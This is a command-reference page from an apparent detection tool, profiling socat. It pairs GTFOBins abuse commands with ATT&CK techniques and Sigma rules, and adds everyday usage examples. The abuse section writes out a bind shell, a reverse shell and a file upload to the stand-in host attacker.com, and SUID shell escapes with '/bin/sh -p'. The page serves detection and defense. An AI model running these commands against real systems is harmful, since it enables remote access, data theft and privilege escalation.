Ceplin Command Identifier

Identifier / Programs / Linux and Unix

socat

Multipurpose relay (SOcket CAT). tldr-pages

GTFOBins bind-shell, download, file-read, file-write, reverse-shell, shell, upload 3 Sigma rules name it 2 ATT&CK techniques 7 documented commands

Opens the identifier with your command. It is read in your browser and sent nowhere.

How socat is abused

documented by GTFOBins

bind-shell T1059.004 Command and Scripting Interpreter: Unix Shell

download T1105 Ingress Tool Transfer

-u

file-read

-u

file-write

-u

reverse-shell T1059.004 Command and Scripting Interpreter: Unix Shell

shell T1059.004 Command and Scripting Interpreter: Unix Shell

upload

-u

Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for socat.

7 documented commands

from GTFOBins, each read by the identifier

bind-shell unprivileged, with sudo, as SUID

socat tcp-listen:12345,reuseaddr,fork exec:/bin/sh,pty,stderr,setsid,sigint,sane
Identify

As SUID:

socat tcp-listen:12345,reuseaddr,fork 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

download unprivileged, with sudo, as SUID

socat -u tcp-connect:attacker.com:12345 open:/path/to/output-file,creat
Identify

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

file-read unprivileged, with sudo, as SUID

socat -u file:/path/to/input-file -
Identify

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

file-write unprivileged, with sudo, as SUID

The echo command is actually used.

socat -u 'exec:echo DATA' open:/path/to/output-file,creat
Identify

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

reverse-shell unprivileged, with sudo, as SUID

socat tcp-connect:attacker.com:12345 exec:/bin/sh,pty,stderr,setsid,sigint,sane
Identify

As SUID:

socat tcp-connect:attacker.com:12345 'exec:/bin/sh -p,pty,stderr,setsid,sigint,sane'

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

shell unprivileged, with sudo, as SUID

socat - exec:/bin/sh,pty,ctty,raw,echo=0
Identify

As SUID:

socat - 'exec:/bin/sh -p,pty,ctty,raw,echo=0'

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

upload unprivileged, with sudo, as SUID

socat -u file:/path/to/input-file tcp-connect:attacker.com:12345
Identify

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

All 7 commands the identifier reads trip a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for socat. The identifier reads the line of each that runs socat.

What detects it

Sigma process creation rules
highLinux Suspicious Child Process from Node.js - React2ShellSwachchhanda Shrawan Poudel (Nextron Systems), Nasreddine Bencherchali
mediumSuspicious Child Process of SAP NetWeaver - LinuxElastic (idea), Swachchhanda Shrawan Poudel (Nextron Systems)
lowLinux Network Service Scanning Tools ExecutionAlejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])
T1059.004Command and Scripting Interpreter: Unix Shell
T1105Ingress Tool Transfer

Everyday use

from tldr-pages, CC BY 4.0

Listen to a port, wait for an incoming connection, and transfer data to STDIO

sudo socat - TCP-LISTEN:8080,forkIdentify

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

Listen on a port using SSL and print to stdout

sudo socat OPENSSL-LISTEN:4433,reuseaddr,cert=./cert.pem,cafile=./ca.cert.pem,key=./key.pem,verify=0 STDOUTIdentify

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

Create a connection to a host and port, transfer data in STDIO to connected host

sudo socat - TCP4:www.example.com:80Identify

Trips 1 Sigma rule: lowLinux Network Service Scanning Tools Execution by Alejandro Ortuno, oscd.community, Georg Lauenstein (sure[secure])

Of the 3 examples the identifier reads, 3 match GTFOBins abuse or trip a Sigma process-creation rule.

Other programs abused for bind-shell

go · lua · nc · node · socket